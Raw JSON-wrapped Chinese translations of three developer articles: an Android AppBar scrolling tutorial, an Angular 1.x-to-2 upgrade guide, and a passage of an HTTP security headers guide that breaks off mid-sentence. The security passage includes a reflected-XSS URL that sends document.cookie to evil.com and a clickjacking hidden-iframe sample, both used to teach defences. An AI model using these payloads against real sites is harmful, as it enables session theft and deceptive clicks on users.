material.io\n\n应用栏滚动效果丰富了页面内容的显示方式。\n\n我想把自己的经验分享给大家，其实理解和使用滚动的高度，弹性空白的大小调整，以及固定特定的元素可以很简单。\n\n应用栏有以下几种滚动的效果，\n\n1. 标准的工具栏滚动\n\n2. 标签滚动\n\n3. 弹性空白滚动\n\n4. 填充了图片的弹性空白滚动\n\n5. 弹性空白中重叠的内容滚动\n\n如果你想直接看代码，这里是 [GitHub](https://github.com/karthikraj-duraisamy/ScrollingBehaviorAndroid) 的仓库链接。\n\n\n### 基本设置 ###\n\n\n在我们开始深入了解各种类型的滚动效果前，我们需要清楚基本设置和实现，\n\n我们需要使用设计支持库来实现 **应用栏** 的滚动效果。这个库提供了很多原质化设计的部件。\n\n\n\n在应用的 build.gradle 里添加：\n\n```\ndependencies {  \n    compile 'com.android.support:design:X.X.X'\n}\n```\n\n\n使需要此功能的 Activity 类继承 `android.support.v7.app.AppCompatActivity`。\n\n```\npublic class MainActivity extends AppCompatActivity {\n```\n\n\n在 layout 的 xml 文件中，我们要把 **CoordinatorLayout** 放在最外层。在 **AppBarLayout** 里添加 **工具栏**，并在 **CoordinatorLayout** 里添加 **AppBarLayout**。\n\n**CoordinatorLayout** 为其附属视图（例如 **FloatingButtons**,**ModalSheets** 和 **SnackBar**）提供合适的滚动以及原质动画。\n\n```\n<android.support.design.widget.CoordinatorLayout  \n    xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    xmlns:app=\"http://schemas.android.com/apk/res-auto\"\n    android:layout_width=\"match_parent\"\n    android:layout_height=\"match_parent\"\n    android:orientation=\"vertical\">\n```\n\n```\n<android.support.design.widget.AppBarLayout\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"wrap_content\"\n        android:background=\"?attr/colorPrimary\">\n```\n\n```\n<android.support.v7.widget.Toolbar\n            android:id=\"@+id/toolbar\"/>\n```\n\n```\n</android.support.design.widget.AppBarLayout>\n```\n\n```\n...\n```\n\n```\n</android.support.design.widget.CoordinatorLayout>\n```\n\n\n就这样，我们完成了基本的实现。接下来我们需要了解一些决定了滚动效果的标志属性。\n\n### 标准的工具栏滚动效果 ##\n\n\n- 随着内容往下翻 **滚动出屏幕** 并且当用户往回翻时重新出现。\n\n－ 当内容向下滚动时，工具栏 **停留在顶部**\n\n![](https://cdn-images-1.medium.com/max/800/1*UsQiD6VrDEWufK4C7ZfGXw.gif)\n\n\n带有工具栏的应用栏和内容一起滚动或出现。\n\n为了达到这个目的，除了基本的代码实现，我们还需要：\n\n在 **Toolbar** 添加 **app:layout_scrollFlags**\n\n```\n<android.support.v7.widget.Toolbar  \n    ...\n    app:layout_scrollFlags=\"scroll|enterAlways|snap\"/>\n```\n\n\n**scroll** －随着内容一起滚动。\n\n**enterAlways** －当内容拉到最上面，应用栏会马上出现。\n\n**snap** －当 **应用栏** 在内容滚动停止时只显示出一半，这个属性会让 **应用栏** 根据工具栏的滚动部分的大小全部隐藏或者全部显示。\n\n一旦 **app:layout_scrollFlags** 被添加进 **应用栏**，内容视图（**NestedScrollView** 或者 **RecyclerView**）就需要 **app:layout_behavior** 标签。\n\n```\n<android.support.v4.widget.NestedScrollView  \n    ...\n    app:layout_behavior=\"@string/appbar_scrolling_view_behavior\"/>\n```\n\n\n这两个标签以及基本设置就足以让带有工具栏的应用栏滚动起来了。我们可以尝试不同的 **app:layout_scrollFlags.** 属性值来看看不同的效果。\n\n下面是对属性的安卓文档解释。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*MXrFGQeSybQeDmLJrZ6tWA.jpeg\">\n\n\n### 标签栏的滚动效果 ###\n\n\n- 当 **工具栏滚动消失后，标签栏停留在顶部**  \n\n- 整个 **工具栏停留在顶部**，当用户反向滚动时，**标签栏**重现，并且当充分的反向滚动后，**工具栏**也重现。\n\n- **工具栏和标签栏随着内容的滚动消失**。当用户反向滚动时，**标签栏**重现，并且当充分的反向滚动后，**工具栏**也重现。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/400/1*kUNBuDx-vGyuMh8Y7yLheQ.gif\">\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/400/1*UQ9Zw-yT1dZ5lU4srzuWOw.gif\">\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/400/1*UsJmZmRwsXwZpHuNE9LuJg.gif\">\n\n\n有标签栏的应用栏的不同滚动效果。\n\n\n要达到这种效果，我们需要在 **AppBarLayout** 中添加 **TabLayout**，并且为 **TabLayout** 提供 **layout_scrollFlags** 属性。只需要修改 **layout_scrollFlags** 的属性值就足够让我们玩转上面例子里的滚动效果了。\n\n```\n<android.support.design.widget.AppBarLayout  \n    ...>\n    <android.support.v7.widget.Toolbar\n        .../>\n    <android.support.design.widget.TabLayout\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"wrap_content\"\n        app:layout_scrollFlags=\"scroll|enterAlways|snap\"/>\n</android.support.design.widget.AppBarLayout>\n```\n\n### 弹性空白的滚动效果 ###\n\n\n- **弹性空白收缩**到只剩下工具栏。在导航栏中**标题收缩至 20sp**。当用户滚动至顶端，**弹性空白和标题又拉长到原来的位置**。 \n\n- 整个**应用栏随着滚动消失**。当用户回滚，工具栏重新出现并**固定在顶部**。当用户回滚到底时，**弹性空白和标题又拉长到原来的位置**。 \n\n![](https://cdn-images-1.medium.com/max/800/1*bG1RZCd7_623GzOxZ984KA.gif)\n\n可以滚动的弹性空白\n\n\n为了得到**应用栏**的弹性空白，我们需要在 **CollapsingToolbarLayout** 里嵌套 **ToolBar** 标签。这意味着 **CoordinatorLayout** 在最上层， 然后 **AppBarLayout**, **CollapsingToolbarLayout**, **ToolbarLayout** 按照顺序摆放在里面。\n\n我们要为 **AppBarLayout** 添加高度并且为 `CollapsingToolbarLayout` 指定 `app:layout_scrollFlags` 属性值。\n\n同时，我们把 **app:layout_collapseMode=”pin”** 添加进 **Toolbar** 里。\n\n\n```\n<android.support.design.widget.AppBarLayout  \n    android:layout_width=\"match_parent\"\n    android:layout_height=\"200dp\">\n\n    <android.support.design.widget.CollapsingToolbarLayout\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"match_parent\"\n        app:contentScrim=\"?attr/colorPrimary\"\n        app:layout_scrollFlags=\"scroll|exitUntilCollapsed\">\n\n        <android.support.v7.widget.Toolbar\n            android:layout_width=\"match_parent\"\n            android:layout_height=\"?attr/actionBarSize\"\napp:layout_collapseMode=\"pin\"/>\n\n    </android.support.design.widget.CollapsingToolbarLayout>\n\n</android.support.design.widget.AppBarLayout>\n```\n\n\n**exitUntilCollapsed** －这个属性会让弹性空白滚动下来，当它随着内容滚动回到原来的位置。\n\n### 加载了图片的弹性空白滚动效果 ###\n\n- 与上面弹性空白的效果类似。当滚动图片时，**图片在被推上去的过程中会有小动画** 并且颜色变成应用的主色调。\n\n- 当回滚的时候， **基色褪去**， 图片拉下来时有一个小动画。\n\n![](https://cdn-images-1.medium.com/max/800/1*Ee4hkJjvOyJOKxViXpTgEA.gif)\n\n图片的视差滚动\n\n\n下面的改动与弹性空白的实现非常相似。\n\n- **ImageView** 要加进 **CollapsingToolbarlayout**。\n\n- **AppBarLayout** 里图片高度固定为 200dp。\n\n```\n<android.support.design.widget.AppBarLayout\n    android:layout_width=\"match_parent\"\n    android:layout_height=\"wrap_content\"\n    android:background=\"?attr/colorPrimary\">\n    <android.support.design.widget.CollapsingToolbarLayout\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"match_parent\"\n        app:contentScrim=\"?attr/colorPrimary\"\n        app:layout_scrollFlags=\"scroll|exitUntilCollapsed\"\n        app:expandedTitleTextAppearance=\"@style/TextAppearance.AppCompat.Title\">\n\n        <ImageView\n            android:layout_width=\"match_parent\"\n            android:layout_height=\"200dp\"\n            app:layout_collapseMode=\"parallax\"/>\n    <android.support.v7.widget.Toolbar\n        android:id=\"@+id/toolbar\"\n        android:layout_width=\"match_parent\"\n        app:layout_collapseMode=\"pin\"\n        android:layout_height=\"?attr/actionBarSize\"\n        app:popupTheme=\"@style/ThemeOverlay.AppCompat.Light\"\n        app:theme=\"@style/ToolBarStyle\" />\n</android.support.design.widget.CollapsingToolbarLayout>\n</android.support.design.widget.AppBarLayout>\n```\n\n\n### 弹性空白中重叠内容的滚动效果 ###\n\n\n- 在这样的滚动效果中，有弹性空白的**应用栏**会被放置在页面内容的下面。一旦内容**开始滚动**，应用栏会**滚动得比内容快**直到它不再与**页面视图内容重叠**。一旦页面内容**滚动到顶部**，应用栏会从页面内容的上方出来并且**平滑地在下层滚动**。\n\n- 整个**应用栏**可以随着页面内容滚动至消失在屏幕上，并且在回滚的时候重现。\n\n- 这个效果中没有标签的位置。\n\n![](https://cdn-images-1.medium.com/max/800/1*S3P_sztswwHR6D-NViX9tg.gif)\n\n与内容重叠的弹性空白的滚动效果\n\n\n在 **NestedScrollView** 或者 **RecyclerView** 中使用 **app:behaviour_overlapTop** 就可以达到这种效果。我们还要定义 **CollapsingToolbarLayout** 的高度。\n\n```\n<android.support.design.widget.AppBarLayout\n    android:layout_width=\"match_parent\"\n    android:layout_height=\"wrap_content\"\n    android:background=\"?attr/colorPrimary\">\n    <android.support.design.widget.CollapsingToolbarLayout\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"172dp\"\n        app:contentScrim=\"?attr/colorPrimary\"\n        app:titleEnabled=\"false\"\n        app:layout_scrollFlags=\"scroll|exitUntilCollapsed\"\n        app:expandedTitleTextAppearance=\"@style/TextAppearance.AppCompat.Title\">\n\n    <android.support.v7.widget.Toolbar\n        android:id=\"@+id/toolbar\"\n        android:layout_width=\"match_parent\"\n        app:layout_collapseMode=\"pin\"\n        android:layout_height=\"?attr/actionBarSize\"\n        app:popupTheme=\"@style/ThemeOverlay.AppCompat.Light\"\n        app:theme=\"@style/ToolBarStyle\" />\n</android.support.design.widget.CollapsingToolbarLayout>\n</android.support.design.widget.AppBarLayout>\n\n<android.support.v4.widget.NestedScrollView\n    android:layout_width=\"wrap_content\"\n    android:layout_height=\"match_parent\"\n    app:behavior_overlapTop=\"100dp\"\n    app:layout_behavior=\"@string/appbar_scrolling_view_behavior\">\n\n    ...\n</android.support.v4.widget.NestedScrollView>\n```\n\n\n同样地，我们可以通过 JAVA 代码动态指定 **scrollFlags** 属性值。\n\n希望这篇文章可以帮你们实现应用栏的滚动效果。\n\n\n这篇文章原来发表在[我的博客](http://karthikraj.net/2016/12/24/scrolling-behavior-for-appbars-in-android/)。\n\n\n示例应用的代码可以通过 [GitHub](https://github.com/karthikraj-duraisamy/ScrollingBehaviorAndroid) 下载。\n\n\n如果你喜欢这篇文章，请在 [Medium](https://medium.com/@twit2karthikraj) 和 [Twitter](https://twitter.com/MeKarthikraj) 上关注我。你也可以在 [LinkedIn](https://in.linkedin.com/in/karthikrajduraisamy) 上找到我。\n"
  },
  {
    "path": "TODO/seamless-ways-to-upgrade-angular-1-x-to-angular-2.md",
    "content": "* 原文链接 : [Seamless Ways to Upgrade to Angular 2](https://scotch.io/tutorials/seamless-ways-to-upgrade-angular-1-x-to-angular-2)\n* 原文作者 : [Chris Nwamba](https://scotch.io/author/chris92)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [CoderBOBO](https://github.com/CoderBOBO)\n* 校对者: [根号三](https://github.com/sqrthree) [Adam Shen](https://github.com/shenxn)\n\n# 如何从 Angular 1.x 无缝升级到 Angular 2\n\nAngular 2 已经发布了数月，两三周前也刚发布了一个新的 beta 版本。相信我，我绝对能猜到各位对此次优化改动的想法。你可能会问自己（或是对着你的计算机屏幕自言自语）：Angular 团队究竟凭借什么实现如此大的飞跃。毕竟，你（或至少你认为你）觉得Angular1 就已经能满足所有个人需求了。\n先暂时停下手上正在使用的代码编辑器吧，一起来讨论下为什么这是一次志在必行的大调整，以及我们通过哪些方法促使我们成功迈出这一大步。\n\n## 为什么转向研发Angular2 ？\n\nAngular 1.x性能优良，并且会继续投入使用，而Angular2 将会有更加杰出的表现。各位是否认为Angular 团队是一群无所事事的团队，所以忙于创造一些无用的东西？不，当然不是这样！那么，请你耐心地和我们一起讨论一下Angular2 吧！\n\n事实上，Angular 2 的存在并不意味着 Angular 1 会被遗弃或者失去支持。我们都很清楚IT行业一般是如何运作的。大家依然会使用IE 8、安卓的老版本及网络开发者使用的Web窗体等。这就是为什么Angular1直到现在还存在的原因。\n阐明这个观点后，让我们来看看到底为什么你应该开始考虑使用Angular2。\n\n### 性能\n\n当我们谈起Angular2 的优点时，性能永远是排在第一位的。通常对于那些认为 Angular 1 的速度和性太低的团队来说至关重要。在大部分的Angular数据绑定概念中有证可寻。\nAngular2 具有更好的策略和概念，能够改善使用Angular开发的Web应用程序的性能。\n\n### 更好的移动端支持\n\nAngular 1.x 在开发时并没有考虑到移动端支持\n。幸运的是，这样的设计有利于像 Ionic 这样的框架。\n我们使用了较为粗暴的方法将 Angular 植入到像 Ionic 这样的框架当中，这样做影响了用户在执行应用程序时的体验及性能。\n正因有了这些可怕的体验，Angular 2 才被设计的更好，Angular2 已准备好应对移动端的一切情况。\n\n### 更好的学习途径\n\n> 我花了三个星期才能理解 Angular1 的概念。尽管我的合作开发伙伴从未使用过 Angular1，**却仅用了四天时间就能理解 Angular2 **。\n\n如果你已经看过Angular2的应用文件，你应该认识下边的代码：\n\n    import {Component} from 'angular2/core';\n\n    @Component({\n        selector: 'my-app',\n        template: '<h1>{{ title }}</h1>'\n    })\n\n    export class AppComponent { \n        title = \"My First Angular 2 App\"\n    }\n\n如果光看这段代码，刚开始时你可能会吓一跳。不过 Angular2 也就只有这些代码（当你的应用程序增长时也只是更多类似的代码）。掌握基本语法之后，你便可以开始使用它了。\n另一方面，与我们学习 Angular 1.x. 的方式相比。Angular 1.x 的文档简直要让人抓狂，居然有一大堆复杂的文件要学。我用了三个星期才理解了 Angular1 的概念，尽管我的合作开发伙伴从未使用过 Angular1，却只用了 1 天时间就掌握 了Angular2。\n\n### 关于未来\n\nAngular 2 采用了所有整个 Web 领域趋向流行的那些具备潜质的功能在使用 TypeScript 植入 Angular 时，被称为 ES6 的 ES2015 是主要的ECMAScript 版本。\nWeb组件就是Web的未来。若各位还不打算接受这一事实的话，那意味着你的方向已经走偏了。\n\n## 升级到Angular 2\n\n升级到Angular2仅需一个非常简单的步骤，但仍需小心升级。\n有2种主要方式可以体验到 Angular2 为你的项目带来的变化：使用哪种方法取决于你的项目需求。Angular 团队提供了2种途径去实现：\n\n### ngForward\n\n[![ng-forward-logo](https://scotch.io/wp-content/uploads/2015/12/ng-forward-logo.png)](https://scotch.io/wp-content/uploads/2015/12/ng-forward-logo.png)\n\n[ngForward](https://github.com/ngUpgraders/ng-forward)并不是 Angular2 真正的升级框架，但我们可以用它来创建一个形似 Angular2 的 Angular 1 应用程序。\n\n要是你还不愿意将现有应用程序升级到 Angular2 的话，你可以退一步先使用 ngForward，这既能让你感受到 Angular 2优势所产生的优质变化，同时又能让你继续待在自己的舒适区当中。\n\n又或者，你可以慢慢重新编写你的 angular 应用程序，使它看起来像用 Angular2 编写一样；你也能用 Angular2 的方式增加一些特征，仅现有项目不受到影响。而它带来的其他好处是：在你选择尽可能长久时间地坚持使用过去的框架时，它已经为你及你团队的未来打好了基础。\n\n我将引导你通过一个基本设置来使用 ngForward 入门，但是为了能够步入正轨，你还是应该看一看 Angular 2 的 快速入门\n\n在你现有的 Angular1.x（应该是1.3 +）应用程序上运行：\n\n\n    npm i --save ng-forward@latest reflect-metadata\n\n安装最新版 ngForward 及reflect-metadata。现在，请准备好你的 index.html，使得它看起来像下面这样：\n\n    <!DOCTYPE html>\n    <html lang=\"en\">\n      <head>\n        <meta charset=\"UTF-8\" />\n\n        <title>Ng-Forward Sample</title>\n\n        <link rel=\"stylesheet\" href=\"styles.css\" />\n\n        <script data-require=\"angular.js@1.4.7\" data-semver=\"1.4.7\" src=\"https://code.angularjs.org/1.4.7/angular.js\"></script>\n        <script data-require=\"ui-router@0.2.15\" data-semver=\"0.2.15\" src=\"http://rawgit.com/angular-ui/ui-router/0.2.15/release/angular-ui-router.js\"></script>\n\n        <script src=\"http://cdnjs.cloudflare.com/ajax/libs/systemjs/0.18.4/system.js\"></script>\n        <script src=\"config.js\"></script>\n\n        <script>\n          //bootstrap the Angular2 application\n          System.import('app').catch(console.log.bind(console));\n        </script>\n      </head>\n\n      <body>\n        <app>Loading...</app>\n      </body>\n\n    </html>\n\n请注意我们正在引用的 config.js。现在我们可以创建它：\n\n    System.config({\n      defaultJSExtensions: true,\n      transpiler: 'typescript',\n      typescriptOptions: {\n        emitDecoratorMetadata: true\n      },\n      map: {\n        'ng-forward': 'https://gist.githubusercontent.com/timkindberg/d93ab6e17fc07b4db7e9/raw/b311a63e0e96078774e69f26d8e8805b7c8b0dd2/ng-forward.0.0.1-alpha.10.js',\n        'typescript': 'https://raw.githubusercontent.com/Microsoft/TypeScript/master/lib/typescript.js',\n      },\n      paths: {\n        app: 'src'\n      },\n      packages: {\n        app: {\n          main: 'app.ts',\n          defaultExtension: 'ts',\n        }\n      }\n    });\n\n如果你听取了我的建议，能够花些时间去回顾一下快速启动内容的话，那你就不会被这些配置绕晕。SystemJS 被引导后（这点我们很快就会看到），它将用于加载 Angular 应用。最后，在我们的 app.ts 中，我们可以把它当做 Angular2 对其进行编写。\n\n    import {Component,  bootstrap} from 'ng-forward';\n\n    @Component({\n        selector: 'my-app',\n        template: '<h1>{{title}}</h1>'\n    })\n    class AppComponent { \n        title = \"My First Angular 2 App\"\n    }\n    bootstrap(AppComponent);\n\n在这里，你可以看到详细的演示过程。 [演示](http://plnkr.co/edit/tpcJFVkcbSGhsE38lnmh?p=preview)\n\n### ngUpgrade\n\n编写一个形似Angular2 的 Angular1.x 应用并非尽善尽美。我们需要的是真正的法宝。一个大型现有 Angular1.x 项目成为最大的挑战，将我们所有的应用重新编写到 Angular2 会变得非常困难，甚至即使使用 ngForward 也并不理想。这时候，ngUpgrade 便派上用场了。ngUpgrade 才是我们真正需要的法宝。\n\n与 ngForward 不同，ngUpgrade 清晰地覆盖在 Angular2 文件上。如果你还未掌握这种途径的开发者目录，那先腾出几分钟消化下这些知识。[知识](https://angular.io/docs/ts/latest/guide/upgrade.html).\n\n此外，我们还会写更多关于升级到 Angular2 的文章。在日后的文章中，我们会侧重说明 ngUpgrade 的相关问题。\n\n## 结语\n\n作为一个有经验的Angular开发者，我注意到 Angular 团队有一个好习惯，那就是提供无数方案去解决一个问题。\n\n正如在本教程所看到的一样，你可以从零开始学习使用 Angular2 ，用 Angular2 的形式编写 Angular1 ，或者通过一步步使用 ngUpgrade ，对你现有的软件进行升级。\n\n\n\n"
  },
  {
    "path": "TODO/secure-web-app-http-headers.md",
    "content": "> * 原文地址：[How To Secure Your Web App With HTTP Headers](https://www.smashingmagazine.com/2017/04/secure-web-app-http-headers/)\n> * 原文作者：[Hagay Lupesko](https://www.smashingmagazine.com/author/hagaylupesko/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[bambooom](https://github.com/bambooom)\n> * 校对者：[xunge0613](https://github.com/xunge0613)、[lsvih](https://github.com/lsvih)\n\n## 如何使用 HTTP Headers 来保护你的 Web 应用 ##\n\n众所周知，无论是简单的小网页还是复杂的单页应用，Web 应用都是网络攻击的目标。2016 年，这种最主要的攻击模式 —— 攻击 web 应用，造成了大约 [40% 的数据泄露](http://www.verizonenterprise.com/verizon-insights-lab/dbir/2016/)。事实上，现在来说，了解网络安全并不是锦上添花，而是 **Web 开发者的必需任务**，特别对于构建面向消费者的产品的开发人员。\n\n开发者可以利用 HTTP 响应头来加强 Web 应用程序的安全性，通常只需要添加几行代码即可。本文将介绍 web 开发者如何利用 HTTP Headers 来构建安全的应用。虽然本文的示例代码是 Node.js，但基本所有主流的服务端语言都支持设置 HTTP 响应头，并且都可以简单地对其进行配置。\n\n### 关于 HTTP Headers ###\n\n技术上来说，HTTP 头只是简单的字段，以明文形式编码，它是 HTTP 请求和响应消息头的一部分。它们旨在使客户端和服务端都能够发送和接受有关要建立的连接、所请求的资源，以及返回的资源本身的元数据。\n\n可以简单地使用 cURL `--head` 来检查纯文本 HTTP 响应头，例如：\n\n```sh\n$ curl --head https://www.google.com\nHTTP/1.1 200 OK\nDate: Thu, 05 Jan 2017 08:20:29 GMT\nExpires: -1\nCache-Control: private, max-age=0\nContent-Type: text/html; charset=ISO-8859-1\nTransfer-Encoding: chunked\nAccept-Ranges: none\nVary: Accept-Encoding\n…\n```\n\n现在，数百种响应头正在被 web 应用所使用，其中一部分由[互联网工程任务组（IETF）](https://www.ietf.org/)标准化。IETF 是一个开放性组织，今天我们所熟知的许多 web 标准和专利都是由他们推进的。HTTP 头提供了一种灵活可扩展的机制，造就了现今的网络各种丰富多变的用例。\n\n### 机密资源禁用缓存 ###\n\n缓存是优化客户端-服务端架构性能中有效的技术，HTTP 也不例外，同样广泛利用了缓存技术。但是，在缓存的资源是保密的情况下，缓存可能导致漏洞，所以必须避免。假设一个 web 应用对含有敏感信息的网页进行缓存，并且是在一台公用的 PC 上使用，任何人可以通过访问浏览器的缓存看到这个 web 应用上的敏感信息，甚至有时仅仅通过点击浏览器的返回按钮就可以看到。\n\nIETF [RFC 7234](https://tools.ietf.org/html/rfc7234) 中定义了 HTTP 缓存，指定 HTTP 客户端（浏览器以及网络代理）的默认行为：除非另行指定，否则始终缓存对 HTTP GET 请求的响应。虽然这样可以使 HTTP 提升性能减少网络拥塞，但如上所述，它也有可能使终端用户个人信息被盗。好消息是，HTTP 规范还定义了一种非常简单的方式来指示客户端对特定响应不进行缓存，通过使用 —— 对，你猜到了 —— HTTP 响应头。\n\n当你准备返回敏感信息并希望禁用 HTTP 客户端的缓存时，有三个响应头可以返回：\n\n- `Cache-Control`\n\n从 HTTP 1.1 引入的此响应头可能包含一个或多个指令，每个指令带有特定的缓存语义，指示 HTTP 客户端和代理如何处理有此响应头注释的响应。我推荐如下指定响应头，`cache-control: no-cache, no-store, must-revalidate`。这三个指令基本上可以指示客户端和中间代理不可使用之前缓存的响应，不可存储响应，甚至就算响应被缓存，也必须从源服务器上重新验证。\n\n- `Pragma: no-cache`\n\n为了向后兼容 HTTP 1.0，你还需要包含此响应头。有部分客户端，特别是中间代理，可能仍然没有完全支持 HTTP 1.1，所以不能正确处理前面提到的 `Cache-Control` 响应头，因此使用 `Pragma: no-cache` 确保较旧的客户端不缓存你的响应。\n\n- `Expires: -1`\n\n此响应头指定了该响应过期的时间戳。如果不指定为未来某个真实时间而指定为 `-1`，可以保证客户端立即将此响应视为过期并避免缓存。\n\n需要注意的是，禁用缓存提高安全性及保护机密资源的同时，也的确会带来性能上的折损。所以确保仅对实际需要保密性的资源禁用缓存，而不是对服务器的任何响应禁用。想要更深入了解 web 资源缓存的最佳实践，我推荐阅读 [Jake Archibald 的文章](https://jakearchibald.com/2016/caching-best-practices/)。\n\n下面是 Node.js 中设置响应头的示例代码：\n\n```javascript\nfunction requestHandler(req, res) {\n\tres.setHeader('Cache-Control','no-cache,no-store,max-age=0,must-revalidate');\n\tres.setHeader('Pragma','no-cache');\n\tres.setHeader('Expires','-1');\n}\n```\n\n### 强制 HTTPS ###\n\n今天，HTTPS 的重要性已经得到了技术界的广泛认可。越来越多的 web 应用配置了安全端点，并将不安全网路重定向到安全端点（即 HTTP 重定向至 HTTPS）。不幸的是，终端用户还未完全理解 HTTPS 的重要性，这种缺乏理解使他们面临着各种中间人攻击（MitM）。普通用户访问到一个 web 应用时，并不会注意到正在使用的网络协议是安全的（HTTPS）还是不安全的（HTTP）。甚至，当浏览器出现了证书错误或警告时，很多用户会直接点击略过警告。\n\n与 web 应用进行交互时，通过有效的 HTTPS 连接是非常重要的：不安全的连接将会使得用户暴露在各种攻击之下，这可能导致 cookie 被盗甚至更糟。举个例子，攻击者可以在公共 Wi-Fi 网络下轻易骗取网络帧并提取那些不使用 HTTPS 的用户的会话 cookie。更糟的情况是，即使用户通过安全连接与 web 应用进行交互也可能遭受降级攻击，这种攻击试图强制将连接降级到不安全的连接，从而使用户受到中间人攻击。\n\n我们如何帮助用户避免这些攻击，并更好地推行 HTTPS 的使用呢？使用 HTTP 严格传输安全头（HSTS）。简单来说，HSTS 确保与源主机间的所有通信都使用 HTTPS。[RFC 6797](https://tools.ietf.org/html/rfc6797) 中说明了，HSTS 可以使 web 应用程序指示浏览器**仅**允许与源主机之间的 HTTPS 连接，将所有不安全的连接内部重定向到安全连接，并自动将所有不安全的资源请求升级为安全请求。\n\nHSTS 的指令如下：\n\n- `max-age=<number of seconds>`\n\n此项指示浏览器对此域缓存此响应头指定的秒数。这样可以保证长时间的加固安全。\n\n- `includeSubDomains`\n\n此项指示浏览器对当前域的所有子域应用 HSTS，这可以用于所有当前和未来可能的子域。\n\n- `preload`\n\n这是一个强大的指令，强制浏览器**始终**安全加载你的 web 应用程序，即使是第一次收到响应之前加载！这是通过将启用 HSTS 预加载域的列表硬编码到浏览器的代码中实现的。要启用预加载功能，你需要在 Google Chrome 团队维护的网站 [HSTS 预加载列表提交](https://hstspreload.org)注册你的域。\n\n注意谨慎使用 `preload`，因为这意味着它不能轻易撤销，并可能更新延迟数个月。虽然预加载肯定会加强应用程序的安全性，但也意味着你需要充分确信你的应用程序仅支持 HTTPS！\n\n我建议的用法是 `Strict-Transport-Security: max-age=31536000; includeSubDomains;`，这样指示了浏览器强制通过 HTTPS 连接到源主机并且有效期为一年。如果你对你的 app 仅处理 HTTPS 很有信心，我也推荐加上 `preload` 指令，当然别忘记去前面提到的预加载列表注册你的网站。\n\n以下是在 Nodes.js 中实现 HSTS 的方法：\n\n```javascript\nfunction requestHandler(req, res){\n\tres.setHeader('Strict-Transport-Security','max-age=31536000; includeSubDomains; preload');\n}\n```\n\n### 启用 XSS 过滤 ###\n\n在反射型跨站脚本攻击（reflected XSS）中，攻击者将恶意 JavaScript 代码注入到 HTTP 请求，注入的代码「映射」到响应中，并由浏览器执行，从而使恶意代码在可信任的上下文中执行，访问诸如会话 cookie 中的潜在机密信息。不幸的是，XSS 是一个很常见的网络应用攻击，且令人惊讶地有效！\n\n为了了解反射型 XSS 攻击，参考以下 Node.js 代码，渲染 `mywebapp.com`，模拟一个简单的 web 应用程序，它将搜索结果以及用户请求的搜索关键词一起呈现：\n\n```javascript\nfunction handleRequest(req, res) {\n    res.writeHead(200);\n\n    // Get the search term\n    const parsedUrl = require('url').parse(req.url);\n    const searchTerm = decodeURI(parsedUrl.query);\n    const resultSet = search(searchTerm);\n\n    // Render the document\n    res.end(\n        \"<html>\" +\n            \"<body>\" +\n                \"<p>You searched for: \" + searchTerm + \"</p>\" +\n                // Search results rendering goes here…\n            \"</body>\" +\n        \"</html>\");\n};\n```\n\n现在，来考虑一下上面的 web 应用程序会如何处理在 URL 中嵌入的恶意可执行代码，例如：\n\n```\nhttps://mywebapp.com/search?</p><script>window.location=“http://evil.com?cookie=”+document.cookie</script>\n```\n\n你可能意识到了，这个 URL 会让浏览器执行注入的脚本，并发送极有可能包含机密会话的用户 cookies 到 evil.com。\n\n为了保护用户抵抗反射型 XSS 攻击，有些浏览器实施了保护机制。这些保护机制尝试通过在 HTTP 请求和响应中寻找匹配的代码模式来辨识这些攻击。Internet Explorer 是第一个推出这种机制的，在 2008 年的 IE 8 中引入了 XSS 过滤器的机制，而 WebKit 后来推出了 XSS 审计，现今在 Chrome 和 Safari 上可用（Firefox 没有内置类似的机制，但是用户可以使用插件来获得此功能）。这些保护机制并不完美，它们可能无法检测到真正的 XSS 攻击（漏报），在其他情况可能会阻止合法代码（误判）。由于后一种情况的出现，浏览器允许用户可设置禁用 XSS 过滤功能。不幸的是，这通常是一个全局设置，这会完全关闭所有浏览器加载的 web 应用程序的安全功能。\n\n幸运的是，有方法可以让 web 应用覆盖此配置，并确保浏览器加载的 web 应用已打开 XSS 过滤器。即通过设定 `X-XSS-Protection` 响应头实现。此响应头支持 Internet Explorer（IE8 以上）、Edge、Chrome 和 Safari，指示浏览器打开或关闭内置的保护机制，及覆盖浏览器的本地配置。\n\n`X-XSS-Protection` 指令包括:\n\n- `1` 或者 `0`\n\n使用或禁用 XSS 过滤器。\n- `mode=block`\n\n当检测到 XSS 攻击时，这会指示浏览器不渲染整个页面。\n\n我建议永远打开 XSS 过滤器以及 block 模式，以求最大化保护用户。这样的响应头应该是这样的：\n\n```\nX-XSS-Protection: 1; mode=block\n```\n\n以下是在 Node.js 中配置此响应头的方法:\n\n```javascript\nfunction requestHandler(req, res){\n\tres.setHeader('X-XSS-Protection','1;mode=block');}\n```\n\n### 控制 iframe ###\n\niframe （正式来说，是 HTML 内联框架元素）是一个 DOM 元素，它允许一个 web 应用嵌套在另一个 web 应用中。这个强大的元素有部分重要的使用场景，比如在 web 应用中嵌入第三方内容，但它也有重大的缺点，例如对 SEO 不友好，对浏览器导航跳转也不友好等等。\n\n其中一个需要注意的事是它使得点击劫持变得更加容易。点击劫持是一种诱使用户点击并非他们想要点击的目标的攻击。要理解一个简单的劫持实现，参考以下 HTML，当用户认为他们点击可以获得奖品时，实际上是试图欺骗用户购买面包机。\n\n```html\n<html>\n  <body>\n    <button class='some-class'>Win a Prize!</button>\n    <iframe class='some-class' style='opacity: 0;’ src='http://buy.com?buy=toaster'></iframe>\n  </body>\n</html>\n```\n\n有许多恶意应用程序都采用了点击劫持，例如诱导用户点赞，在线购买商品，甚至提交机密信息。恶意 web 应用程序可以通过在其恶意应用中嵌入合法的 web 应用来利用 iframe 进行点击劫持，这可以通过设置 `opacity: 0` 的 CSS 规则将其隐藏，并将 iframe 